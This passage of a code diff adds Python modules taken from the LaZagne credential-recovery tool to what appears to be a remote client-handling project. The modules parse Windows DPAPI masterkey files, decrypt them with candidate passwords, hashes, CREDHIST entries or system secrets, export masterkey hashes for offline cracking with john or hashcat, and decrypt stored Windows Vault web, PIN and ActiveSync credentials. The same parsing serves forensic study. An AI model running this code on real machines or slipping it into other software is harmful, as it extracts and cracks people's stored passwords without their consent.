+ end = len(raw)
+ self.end = end
+ self.endianness = endianness
+
+ def prepare_fmt(self, fmt):
+ """Internal use. Prepend endianness to the given format if it is not
+ already specified.
+
+ fmt is a format string for struct.unpack()
+
+ Returns a tuple of the format string and the corresponding data size.
+
+ """
+ if fmt[0] not in ["<", ">", "!", "@"]:
+ fmt = self.endianness+fmt
+ return fmt, struct.calcsize(fmt)
+
+ def read(self, fmt):
+ """Parses data with the given format string without taking away bytes.
+
+ Returns an array of elements or just one element depending on fmt.
+
+ """
+ fmt, sz = self.prepare_fmt(fmt)
+ v = struct.unpack_from(fmt, self.raw, self.ofs)
+ if len(v) == 1:
+ v = v[0]
+ return v
+
+ def eat(self, fmt):
+ """Parses data with the given format string.
+
+ Returns an array of elements or just one element depending on fmt.
+
+ """
+ fmt, sz = self.prepare_fmt(fmt)
+ v = struct.unpack_from(fmt, self.raw, self.ofs)
+ if len(v) == 1:
+ v = v[0]
+ self.ofs += sz
+ return v
+
+ def eat_string(self, length):
+ """Eats and returns a string of length characters"""
+ return self.eat("%us" % length)
+
+ def eat_length_and_string(self, fmt):
+ """Eats and returns a string which length is obtained after eating
+ an integer represented by fmt
+
+ """
+ l = self.eat(fmt)
+ return self.eat_string(l)
+
+ def pop(self, fmt):
+ """Eats a structure represented by fmt from the end of raw data"""
+ fmt, sz = self.prepare_fmt(fmt)
+ self.end -= sz
+ v = struct.unpack_from(fmt, self.raw, self.end)
+ if len(v) == 1:
+ v = v[0]
+ return v
+
+ def pop_string(self, length):
+ """Pops and returns a string of length characters"""
+ return self.pop("%us" % length)
+
+ def pop_length_and_string(self, fmt):
+ """Pops and returns a string which length is obtained after poping an
+ integer represented by fmt.
+
+ """
+ l = self.pop(fmt)
+ return self.pop_string(l)
+
+ def remain(self):
+ """Returns all the bytes that have not been eated nor poped yet."""
+ return self.raw[self.ofs:self.end]
+
+ def eat_sub(self, length):
+ """Eats a sub-structure that is contained in the next length bytes"""
+ sub = self.__class__(self.raw[self.ofs:self.ofs+length], endianness=self.endianness)
+ self.ofs += length
+ return sub
+
+ def __nonzero__(self):
+ return self.ofs < self.end
+
+
+class DataStruct(object):
+ """Don't use this class unless you know what you are doing!"""
+
+ def __init__(self, raw=None):
+ if raw is not None:
+ self.parse(Eater(raw, endianness="<"))
+
+ def parse(self, eater_obj):
+ raise NotImplementedError("This function must be implemented in subclasses")
+
diff --git a/foreign/client_handling/lazagne/config/DPAPI/masterkey.py b/foreign/client_handling/lazagne/config/DPAPI/masterkey.py
new file mode 100644
index 0000000..1ee59d0
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/masterkey.py
@@ -0,0 +1,445 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Code based from these two awesome projects:
+- DPAPICK : https://bitbucket.org/jmichel/dpapick
+- DPAPILAB : https://github.com/dfirfpi/dpapilab
+"""
+
+from . import crypto
+from .credhist import CredHistFile
+from .system import CredSystem
+from .eater import DataStruct, Eater
+from collections import defaultdict
+
+import codecs
+import hashlib
+import struct
+import os
+
+
+class MasterKey(DataStruct):
+ """
+ This class represents a MasterKey block contained in a MasterKeyFile
+ """
+
+ def __init__(self, raw=None):
+ self.decrypted = False
+ self.key = None
+ self.key_hash = None
+ self.hmacSalt = None
+ self.hmac = None
+ self.hmacComputed = None
+ self.cipherAlgo = None
+ self.hashAlgo = None
+ self.rounds = None
+ self.iv = None
+ self.version = None
+ self.ciphertext = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.iv = data.eat("16s")
+ self.rounds = data.eat("L")
+ self.hashAlgo = crypto.CryptoAlgo(data.eat("L"))
+ self.cipherAlgo = crypto.CryptoAlgo(data.eat("L"))
+ self.ciphertext = data.remain()
+
+ def decrypt_with_hash(self, sid, pwdhash):
+ """
+ Decrypts the masterkey with the given user's hash and SID.
+ Simply computes the corresponding key then calls self.decrypt_with_key()
+ """
+ self.decrypt_with_key(crypto.derivePwdHash(pwdhash=pwdhash, sid=sid))
+
+ def decrypt_with_password(self, sid, pwd):
+ """
+ Decrypts the masterkey with the given user's password and SID.
+ Simply computes the corresponding key, then calls self.decrypt_with_hash()
+ """
+ try:
+ pwd = pwd.encode("UTF-16LE")
+ except Exception:
+ return
+
+ for algo in ["sha1", "md4"]:
+ self.decrypt_with_hash(sid=sid, pwdhash=hashlib.new(algo, pwd).digest())
+ if self.decrypted:
+ break
+
+ def decrypt_with_key(self, pwdhash):
+ """
+ Decrypts the masterkey with the given encryption key.
+ This function also extracts the HMAC part of the decrypted stuff and compare it with the computed one.
+ Note that, once successfully decrypted, the masterkey will not be decrypted anymore; this function will simply return.
+ """
+ if self.decrypted or not pwdhash:
+ return
+
+ # Compute encryption key
+ cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.ciphertext, pwdhash, self.iv,
+ self.rounds)
+ self.key = cleartxt[-64:]
+ hmacSalt = cleartxt[:16]
+ hmac = cleartxt[16:16 + int(self.hashAlgo.digestLength)]
+ hmacComputed = crypto.DPAPIHmac(self.hashAlgo, pwdhash, hmacSalt, self.key)
+ self.decrypted = hmac == hmacComputed
+ if self.decrypted:
+ self.key_hash = hashlib.sha1(self.key).digest()
+
+
+class CredHist(DataStruct):
+ """This class represents a Credhist block contained in the MasterKeyFile"""
+
+ def __init__(self, raw=None):
+ self.version = None
+ self.guid = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
+
+
+class DomainKey(DataStruct):
+ """This class represents a DomainKey block contained in the MasterKeyFile.
+
+ Currently does nothing more than parsing. Work on Active Directory stuff is
+ still on progress.
+
+ """
+
+ def __init__(self, raw=None):
+ self.version = None
+ self.secretLen = None
+ self.accesscheckLen = None
+ self.guidKey = None
+ self.encryptedSecret = None
+ self.accessCheck = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.secretLen = data.eat("L")
+ self.accesscheckLen = data.eat("L")
+ self.guidKey = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
+ self.encryptedSecret = data.eat("%us" % self.secretLen)
+ self.accessCheck = data.eat("%us" % self.accesscheckLen)
+
+
+class MasterKeyFile(DataStruct):
+ """
+ This class represents a masterkey file.
+ """
+
+ def __init__(self, raw=None):
+ self.masterkey = None
+ self.backupkey = None
+ self.credhist = None
+ self.domainkey = None
+ self.decrypted = False
+ self.version = None
+ self.guid = None
+ self.policy = None
+ self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ data.eat("2L")
+ self.guid = data.eat("72s").decode("UTF-16LE").encode("utf-8")
+ data.eat("2L")
+ self.policy = data.eat("L")
+ self.masterkeyLen = data.eat("Q")
+ self.backupkeyLen = data.eat("Q")
+ self.credhistLen = data.eat("Q")
+ self.domainkeyLen = data.eat("Q")
+
+ if self.masterkeyLen > 0:
+ self.masterkey = MasterKey()
+ self.masterkey.parse(data.eat_sub(self.masterkeyLen))
+ if self.backupkeyLen > 0:
+ self.backupkey = MasterKey()
+ self.backupkey.parse(data.eat_sub(self.backupkeyLen))
+ if self.credhistLen > 0:
+ self.credhist = CredHist()
+ self.credhist.parse(data.eat_sub(self.credhistLen))
+ if self.domainkeyLen > 0:
+ self.domainkey = DomainKey()
+ self.domainkey.parse(data.eat_sub(self.domainkeyLen))
+
+ def get_key(self):
+ """
+ Returns the first decrypted block between Masterkey and BackupKey.
+ If none has been decrypted, returns the Masterkey block.
+ """
+ if self.masterkey.decrypted:
+ return self.masterkey.key or self.masterkey.key_hash
+ elif self.backupkey.decrypted:
+ return self.backupkey.key
+ return self.masterkey.key
+
+ def jhash(self, sid=None, context='local'):
+ """
+ Compute the hash used to be bruteforced.
+ From the masterkey field of the mk file => mk variable.
+ """
+ if 'des3' in str(self.masterkey.cipherAlgo).lower() and 'hmac' in str(self.masterkey.hashAlgo).lower():
+ version = 1
+ hmac_algo = 'sha1'
+ cipher_algo = 'des3'
+
+ elif 'aes-256' in str(self.masterkey.cipherAlgo).lower() and 'sha512' in str(self.masterkey.hashAlgo).lower():
+ version = 2
+ hmac_algo = 'sha512'
+ cipher_algo = 'aes256'
+
+ else:
+ return 'Unsupported combination of cipher {cipher_algo} and hash algorithm {algo} found!'.format(
+ cipher_algo=self.masterkey.cipherAlgo, algo=self.masterkey.hashAlgo)
+
+ context_int = 0
+ if context == "domain":
+ context_int = 2
+ elif context == "local":
+ context_int = 1
+
+ return '$DPAPImk${version}*{context}*{sid}*{cipher_algo}*{hmac_algo}*{rounds}*{iv}*{size}*{ciphertext}'.format(
+ version=version,
+ context=context_int,
+ sid=sid,
+ cipher_algo=cipher_algo,
+ hmac_algo=hmac_algo,
+ rounds=self.masterkey.rounds,
+ iv=self.masterkey.iv.encode("hex"),
+ size=len(self.masterkey.ciphertext.encode("hex")),
+ ciphertext=self.masterkey.ciphertext.encode("hex")
+ )
+
+
+class MasterKeyPool(object):
+ """
+ This class is the pivot for using DPAPIck.
+ It manages all the DPAPI structures and contains all the decryption intelligence.
+ """
+
+ def __init__(self):
+ self.keys = defaultdict(
+ lambda: {
+ 'password': None, # contains cleartext password
+ 'mkf': [], # contains the masterkey file object
+ }
+ )
+ self.mkfiles = []
+ self.credhists = {}
+ self.mk_dir = None
+ self.nb_mkf = 0
+ self.nb_mkf_decrypted = 0
+ self.preferred_guid = None
+ self.system = None
+
+ def add_master_key(self, mkey):
+ """
+ Add a MasterKeyFile is the pool.
+ mkey is a string representing the content of the file to add.
+ """
+ mkf = MasterKeyFile(mkey)
+ self.keys[mkf.guid]['mkf'].append(mkf)
+
+ # Store mkfile object
+ self.mkfiles.append(mkf) # TO DO000000 => use only self.keys variable
+
+ def load_directory(self, directory):
+ """
+ Adds every masterkey contained in the given directory to the pool.
+ """
+ if os.path.exists(directory):
+ self.mk_dir = directory
+ for k in os.listdir(directory):
+ try:
+ with open(os.path.join(directory, k), 'rb') as f:
+ self.add_master_key(f.read())
+ self.nb_mkf += 1
+ except Exception:
+ pass
+ return True
+ return False
+
+ def get_master_keys(self, guid):
+ """
+ Returns an array of Masterkeys corresponding to the given GUID.
+ """
+ return self.keys.get(guid, {}).get('mkf')
+
+ def get_password(self, guid):
+ """
+ Returns the password found corresponding to the given GUID.
+ """
+ return self.keys.get(guid, {}).get('password')
+
+ def add_credhist_file(self, sid, credfile):
+ """
+ Adds a Credhist file to the pool.
+ """
+ if os.path.exists(credfile):
+ try:
+ with open(credfile) as f:
+ self.credhists[sid] = CredHistFile(f.read())
+ except Exception:
+ pass
+
+ def get_preferred_guid(self):
+ """
+ Extract from the Preferred file the associated GUID.
+ This guid represent the preferred masterkey used by the system.
+ This means that it has been encrypted using the current password not an older one.
+ """
+ if self.preferred_guid:
+ return self.preferred_guid
+
+ if self.mk_dir:
+ preferred_file = os.path.join(self.mk_dir, u'Preferred')
+ if os.path.exists(preferred_file):
+ with open(preferred_file, 'rb') as pfile:
+ GUID1 = pfile.read(8)
+ GUID2 = pfile.read(8)
+
+ GUID = struct.unpack("<LHH", GUID1)
+ GUID2 = struct.unpack(">HLH", GUID2)
+ self.preferred_guid = "%s-%s-%s-%s-%s%s" % (
+ format(GUID[0], '08x'), format(GUID[1], '04x'), format(GUID[2], '04x'), format(GUID2[0], '04x'),
+ format(GUID2[1], '08x'), format(GUID2[2], '04x'))
+ return self.preferred_guid
+
+ return False
+
+ def get_cleartext_password(self, guid=None):
+ """
+ Get cleartext password if already found of the associated guid.
+ If not guid specify, return the associated password of the preferred guid.
+ """
+ if not guid:
+ guid = self.get_preferred_guid()
+
+ if guid:
+ return self.get_password(guid)
+
+ def get_dpapi_hash(self, sid, context='local'):
+ """
+ Extract the DPAPI hash corresponding to the user's password to be able to bruteforce it using john or hashcat.
+ No admin privilege are required to extract it.
+ :param context: expect local or domain depending of the windows environment.
+ """
+
+ self.get_preferred_guid()
+
+ for mkf in self.mkfiles:
+ if self.preferred_guid == mkf.guid:
+ return mkf.jhash(sid=sid, context=context)
+
+ def add_system_credential(self, blob):
+ """
+ Adds DPAPI_SYSTEM token to the pool.
+ blob is a string representing the LSA secret token
+ """
+ self.system = CredSystem(blob)
+
+ def try_credential(self, sid, password=None):
+ """
+ This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID.
+ Should be called as a generator (ex: for r in try_credential(sid, password))
+ """
+
+ # All master key files have not been already decrypted
+ if self.nb_mkf_decrypted != self.nb_mkf:
+ for guid in self.keys:
+ for mkf in self.keys[guid].get('mkf', ''):
+ if not mkf.decrypted:
+ mk = mkf.masterkey
+ if mk:
+ mk.decrypt_with_password(sid, password)
+ if not mk.decrypted and self.credhists.get(sid) is not None:
+ # Try using credhist file
+ self.credhists[sid].decrypt_with_password(password)
+ for credhist in self.credhists[sid].entries_list:
+ mk.decrypt_with_hash(sid, credhist.pwdhash)
+ if credhist.ntlm is not None and not mk.decrypted:
+ mk.decrypt_with_hash(sid, credhist.ntlm)
+
+ if mk.decrypted:
+ yield u'masterkey {masterkey} decrypted using credhists key'.format(
+ masterkey=mk.guid.decode())
+ self.credhists[sid].valid = True
+
+ if mk.decrypted:
+ # Save the password found
+ self.keys[mkf.guid]['password'] = password
+ mkf.decrypted = True
+ self.nb_mkf_decrypted += 1
+
+ yield True, u'{password} ok for masterkey {masterkey}'.format(password=password,
+ masterkey=mkf.guid.decode())
+
+ else:
+ yield False, u'{password} not ok for masterkey {masterkey}'.format(password=password,
+ masterkey=mkf.guid.decode())
+
+ def try_credential_hash(self, sid, pwdhash=None):
+ """
+ This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID.
+ Should be called as a generator (ex: for r in try_credential_hash(sid, pwdhash))
+ """
+
+ # All master key files have not been already decrypted
+ if self.nb_mkf_decrypted != self.nb_mkf:
+ for guid in self.keys:
+ for mkf in self.keys[guid].get('mkf', ''):
+ if not mkf.decrypted:
+ mk = mkf.masterkey
+ mk.decrypt_with_hash(sid, pwdhash)
+ if not mk.decrypted and self.credhists.get(sid) is not None:
+ # Try using credhist file
+ self.credhists[sid].decrypt_with_hash(pwdhash)
+ for credhist in self.credhists[sid].entries_list:
+ mk.decrypt_with_hash(sid, credhist.pwdhash)
+ if credhist.ntlm is not None and not mk.decrypted:
+ mk.decrypt_with_hash(sid, credhist.ntlm)
+
+ if mk.decrypted:
+ yield True, u'masterkey {masterkey} decrypted using credhists key'.format(
+ masterkey=mk.guid)
+ self.credhists[sid].valid = True
+ break
+
+ if mk.decrypted:
+ mkf.decrypted = True
+ self.nb_mkf_decrypted += 1
+ yield True, u'{hash} ok for masterkey {masterkey}'.format(hash=codecs.encode(pwdhash, 'hex').decode(),
+ masterkey=mkf.guid.decode())
+ else:
+ yield False, u'{hash} not ok for masterkey {masterkey}'.format(
+ hash=codecs.encode(pwdhash, 'hex').decode(), masterkey=mkf.guid.decode())
+
+ def try_system_credential(self):
+ """
+ Decrypt masterkey files from the system user using DPAPI_SYSTEM creds as key
+ Should be called as a generator (ex: for r in try_system_credential())
+ """
+ for guid in self.keys:
+ for mkf in self.keys[guid].get('mkf', ''):
+ if not mkf.decrypted:
+ mk = mkf.masterkey
+ mk.decrypt_with_key(self.system.user)
+ if not mk.decrypted:
+ mk.decrypt_with_key(self.system.machine)
+
+ if mk.decrypted:
+ mkf.decrypted = True
+ self.nb_mkf_decrypted += 1
+
+ yield True, u'System masterkey decrypted for {masterkey}'.format(masterkey=mkf.guid.decode())
+ else:
+ yield False, u'System masterkey not decrypted for masterkey {masterkey}'.format(
+ masterkey=mkf.guid.decode())
diff --git a/foreign/client_handling/lazagne/config/DPAPI/system.py b/foreign/client_handling/lazagne/config/DPAPI/system.py
new file mode 100644
index 0000000..aaf53f8
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/system.py
@@ -0,0 +1,38 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Code based from these two awesome projects:
+- DPAPICK : https://bitbucket.org/jmichel/dpapick
+- DPAPILAB : https://github.com/dfirfpi/dpapilab
+"""
+
+from .eater import DataStruct
+
+
+class CredSystem(DataStruct):
+ """
+ This represents the DPAPI_SYSTEM token which is stored as an LSA secret.
+
+ Sets 2 properties:
+ self.machine
+ self.user
+ """
+
+ def __init__(self, raw=None):
+ self.revision = None
+ self.machine = None
+ self.user = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ """Parses the given data. May raise exceptions if incorrect data are
+ given. You should not call this function yourself; DataStruct does
+
+ data is a DataStruct object.
+ Returns nothing.
+
+ """
+ self.revision = data.eat("L")
+ self.machine = data.eat("20s")
+ self.user = data.eat("20s")
diff --git a/foreign/client_handling/lazagne/config/DPAPI/vault.py b/foreign/client_handling/lazagne/config/DPAPI/vault.py
new file mode 100644
index 0000000..d758443
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/vault.py
@@ -0,0 +1,489 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Code based from these two awesome projects:
+- DPAPICK : https://bitbucket.org/jmichel/dpapick
+- DPAPILAB : https://github.com/dfirfpi/dpapilab
+"""
+
+import struct
+
+from .blob import DPAPIBlob
+from .eater import DataStruct, Eater
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.winstructure import char_to_int
+
+import os
+
+AES_BLOCK_SIZE = 16
+
+# ===============================================================================
+# VAULT POLICY file structs
+# ===============================================================================
+
+
+class VaultPolicyKey(DataStruct):
+ """
+ Structure containing the AES key used to decrypt the vcrd files
+ """
+ def __init__(self, raw=None):
+ # self.size = None
+ self.unknown1 = None
+ self.unknown2 = None
+ self.dwMagic = None
+ self.dwVersion = None
+ self.cbKeyData = None
+ self.key = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ # self.size = data.eat("L")
+ self.unknown1 = data.eat("L")
+ self.unknown2 = data.eat("L")
+ self.dwMagic = data.eat("L") # Constant: 0x4d42444b
+ self.dwVersion = data.eat("L")
+ self.cbKeyData = data.eat("L")
+ if self.cbKeyData > 0:
+ # self.key = data.eat_sub(self.cbKeyData)
+ self.key = data.eat(str(self.cbKeyData) + "s")
+
+
+
+class VaultPolicyKeys(DataStruct):
+ """
+ Structure containing two AES keys used to decrypt the vcrd files
+ - First key is an AES 128
+ - Second key is an AES 256
+ """
+ def __init__(self, raw=None):
+ self.vpol_key1_size = None
+ self.vpol_key1 = None
+ self.vpol_key2_size = None
+ self.vpol_key2 = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.vpol_key1_size = data.eat("L")
+ if self.vpol_key1_size > 0:
+ self.vpol_key1 = VaultPolicyKey()
+ self.vpol_key1.parse(data.eat_sub(self.vpol_key1_size))
+
+ self.vpol_key2_size = data.eat("L")
+ if self.vpol_key2_size > 0:
+ self.vpol_key2 = VaultPolicyKey()
+ self.vpol_key2.parse(data.eat_sub(self.vpol_key2_size))
+
+
+class VaultPolicy(DataStruct):
+ """
+ Policy.vpol file is a DPAPI blob with an header containing a textual description
+ and a GUID that should match the Vault folder name
+ Once the blob is decrypted, we get two AES keys to be used in decrypting the vcrd files.
+ """
+ def __init__(self, raw=None):
+ self.version = None
+ self.guid = None
+ self.description = None
+ self.unknown1 = None
+ self.unknown2 = None
+ self.unknown3 = None
+ # VPOL_STORE
+ self.size = None
+ self.unknown4 = None
+ self.unknown5 = None
+ # DPAPI_BLOB_STORE
+ self.blob_store_size = None
+ self.blob_store_raw = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
+ self.description = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+ self.unknown1 = data.eat("L")
+ self.unknown2 = data.eat("L")
+ self.unknown3 = data.eat("L")
+ # VPOL_STORE
+ self.size = data.eat("L")
+ self.unknown4 = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
+ self.unknown5 = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
+ # DPAPI_BLOB_STORE
+ self.blob_store_size = data.eat("L")
+ if self.blob_store_size > 0:
+ self.blob_store_raw = DPAPIBlob()
+ self.blob_store_raw.parse(data.eat_sub(self.blob_store_size))
+
+# ===============================================================================
+# VAULT file structs
+# ===============================================================================
+
+
+class VaultAttribute(DataStruct):
+ """
+ This class contains the encrypted data we are looking for (data + iv)
+ """
+ def __init__(self, raw=None):
+ self.id = None
+ self.attr_unknown_1 = None
+ self.attr_unknown_2 = None
+ self.attr_unknown_3 = None
+ self.padding = None
+ self.attr_unknown_4 = None
+ self.size = None
+ # VAULT_ATTRIBUTE_ENCRYPTED
+ self.has_iv = None
+ self.iv_size = None
+ self.iv = None
+ self.data = None
+ self.stream_end = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.id = data.eat("L")
+ self.attr_unknown_1 = data.eat("L")
+ self.attr_unknown_2 = data.eat("L")
+ self.attr_unknown_3 = data.eat("L")
+ # self.padding = data.eat("6s")
+ if self.id >= 100:
+ self.attr_unknown_4 = data.eat("L")
+ self.size = data.eat("L")
+ if self.size > 0:
+ self.has_iv = char_to_int(data.eat("1s")) # To change for Python 3 compatibility
+ if self.has_iv == 1:
+ self.iv_size = data.eat("L")
+ self.iv = data.eat(str(self.iv_size)+ "s")
+ self.data = data.eat(str(self.size - 1 - 4 - self.iv_size) + "s")
+ else:
+ self.data = data.eat(str(self.size - 1) + "s")
+
+
+class VaultAttributeMapEntry(DataStruct):
+ """
+ This class contains a pointer on VaultAttribute structure
+ """
+ def __init__(self, raw=None):
+ self.id = None
+ self.offset = None
+ self.attr_map_entry_unknown_1 = None
+ self.pointer = None
+ self.extra_entry = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.id = data.eat("L")
+ self.offset = data.eat("L")
+ self.attr_map_entry_unknown_1 = data.eat("L")
+
+
+class VaultVcrd(DataStruct):
+ """
+ vcrd files contain encrypted attributes encrypted with the previous AES keys which represents the target secret
+ """
+ def __init__(self, raw=None):
+ self.schema_guid = None
+ self.vcrd_unknown_1 = None
+ self.last_update = None
+ self.vcrd_unknown_2 = None
+ self.vcrd_unknown_3 = None
+ self.description = None
+ self.attributes_array_size = None
+ self.attributes_num = None
+ self.attributes = []
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.schema_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
+ self.vcrd_unknown_1 = data.eat("L")
+ self.last_update = data.eat("Q")
+ self.vcrd_unknown_2 = data.eat("L")
+ self.vcrd_unknown_3 = data.eat("L")
+ self.description = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+ self.attributes_array_size = data.eat("L")
+ # 12 is the size of the VAULT_ATTRIBUTE_MAP_ENTRY
+ self.attributes_num = self.attributes_array_size / 12
+ for i in range(self.attributes_num):
+ # 12: size of VaultAttributeMapEntry Structure
+ v_map_entry = VaultAttributeMapEntry(data.eat("12s"))
+ self.attributes.append(v_map_entry)
+
+# ===============================================================================
+# VAULT schemas
+# ===============================================================================
+
+
+class VaultVsch(DataStruct):
+ """
+ Vault Schemas
+ Vault file partial parsing
+ """
+ def __init__(self, raw=None):
+ self.version = None
+ self.schema_guid = None
+ self.vault_vsch_unknown_1 = None
+ self.count = None
+ self.schema_name = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.schema_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
+ self.vault_vsch_unknown_1 = data.eat("L")
+ self.count = data.eat("L")
+ self.schema_name = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00')
+
+
+class VaultAttributeItem(object):
+ def __init__(self, id_, item):
+ self.id = id_
+ self.item = item.encode('hex')
+
+
+class VaultSchemaGeneric(DataStruct):
+ """
+ Generic Vault Schema
+ """
+ def __init__(self, raw=None):
+ self.version = None
+ self.count = None
+ self.vault_schema_generic_unknown1 = None
+ self.attribute_item = []
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.count = data.eat("L")
+ self.vault_schema_generic_unknown1 = data.eat("L")
+ for i in range(self.count):
+ self.attribute_item.append(
+ VaultAttributeItem(
+ id_=data.eat("L"),
+ item=data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8")
+ )
+ )
+
+# Vault Simple Schema
+
+# VAULT_SCHEMA_SIMPLE = VaultSchemaSimpleAdapter(
+# Struct(
+# 'data' / GreedyRange(Byte),
+# )
+# )
+
+
+class VaultSchemaPin(DataStruct):
+ """
+ PIN Logon Vault Resource Schema
+ """
+ def __init__(self, raw=None):
+ self.version = None
+ self.count = None
+ self.vault_schema_pin_unknown1 = None
+ self.id_sid = None
+ self.sid_len = None
+ self.sid = None
+ self.id_resource = None
+ self.resource = None
+ self.id_password = None
+ self.password = None
+ self.id_pin = None
+ self.pin = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.count = data.eat("L")
+ self.vault_schema_pin_unknown1 = data.eat("L")
+ self.id_sid = data.eat("L")
+ self.sid_len = data.eat("L")
+ if self.sid_len > 0:
+ self.sid = data.eat_sub(self.sid_len)
+ self.id_resource = data.eat("L")
+ self.resource = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00')
+ self.id_password = data.eat("L")
+ self.authenticator = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00') # Password
+ self.id_pin = data.eat("L")
+ self.pin = data.eat_length_and_string("L")
+
+
+class VaultSchemaWebPassword(DataStruct):
+ """
+ Windows Web Password Credential Schema
+ """
+ def __init__(self, raw=None):
+ self.version = None
+ self.count = None
+ self.vault_schema_web_password_unknown1 = None
+ self.id_identity = None
+ self.identity = None
+ self.id_resource = None
+ self.resource = None
+ self.id_authenticator = None
+ self.authenticator = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.count = data.eat("L")
+ self.vault_schema_web_password_unknown1 = data.eat("L")
+ self.id_identity = data.eat("L")
+ self.identity = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00')
+ self.id_resource = data.eat("L")
+ self.resource = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00')
+ self.id_authenticator = data.eat("L")
+ self.authenticator = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00')
+
+
+class VaultSchemaActiveSync(DataStruct):
+ """
+ Active Sync Credential Schema
+ """
+ def __init__(self, raw=None):
+ self.version = None
+ self.count = None
+ self.vault_schema_activesync_unknown1 = None
+ self.id_identity = None
+ self.identity = None
+ self.id_resource = None
+ self.resource = None
+ self.id_authenticator = None
+ self.authenticator = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.count = data.eat("L")
+ self.vault_schema_activesync_unknown1 = data.eat("L")
+ self.id_identity = data.eat("L")
+ self.identity = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00')
+ self.id_resource = data.eat("L")
+ self.resource = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00\x00')
+ self.id_authenticator = data.eat("L")
+ self.authenticator = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8").rstrip('\x00').encode('hex')
+
+
+# Vault Schema Dict
+vault_schemas = {
+ u'ActiveSyncCredentialSchema' : VaultSchemaActiveSync,
+ u'PIN Logon Vault Resource Schema' : VaultSchemaPin,
+ u'Windows Web Password Credential' : VaultSchemaWebPassword,
+}
+
+
+# ===============================================================================
+# VAULT Main Function
+# ===============================================================================
+
+
+class Vault(object):
+ """
+ Contains all process to decrypt Vault files
+ """
+ def __init__(self, vaults_dir):
+ self.vaults_dir = vaults_dir
+
+ def decrypt_vault_attribute(self, vault_attr, key_aes128, key_aes256):
+ """
+ Helper to decrypt VAULT attributes.
+ """
+ if not vault_attr.size:
+ return '', False
+
+ if vault_attr.has_iv:
+ cipher = AESModeOfOperationCBC(key_aes256, iv=vault_attr.iv)
+ is_attribute_ex = True
+ else:
+ cipher = AESModeOfOperationCBC(key_aes128)
+ is_attribute_ex = False
+
+ data = vault_attr.data
+ decypted = b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)])
+ return decypted, is_attribute_ex
+
+ def get_vault_schema(self, guid, base_dir, default_schema):
+ """
+ Helper to get the Vault schema to apply on decoded data.
+ """
+ vault_schema = default_schema
+ schema_file_path = os.path.join(base_dir, guid + '.vsch')
+ try:
+ with open(schema_file_path, 'rb') as fschema:
+ vsch = VaultVsch(fschema.read())
+ vault_schema = vault_schemas.get(
+ vsch.schema_name,
+ VaultSchemaGeneric
+ )
+ except IOError:
+ pass
+ return vault_schema
+
+ def decrypt(self, mkp):
+ """
+ Decrypt one vault file
+ mkp represent the masterkeypool object
+ Very well explained here: http://blog.digital-forensics.it/2016/01/windows-revaulting.html
+ """
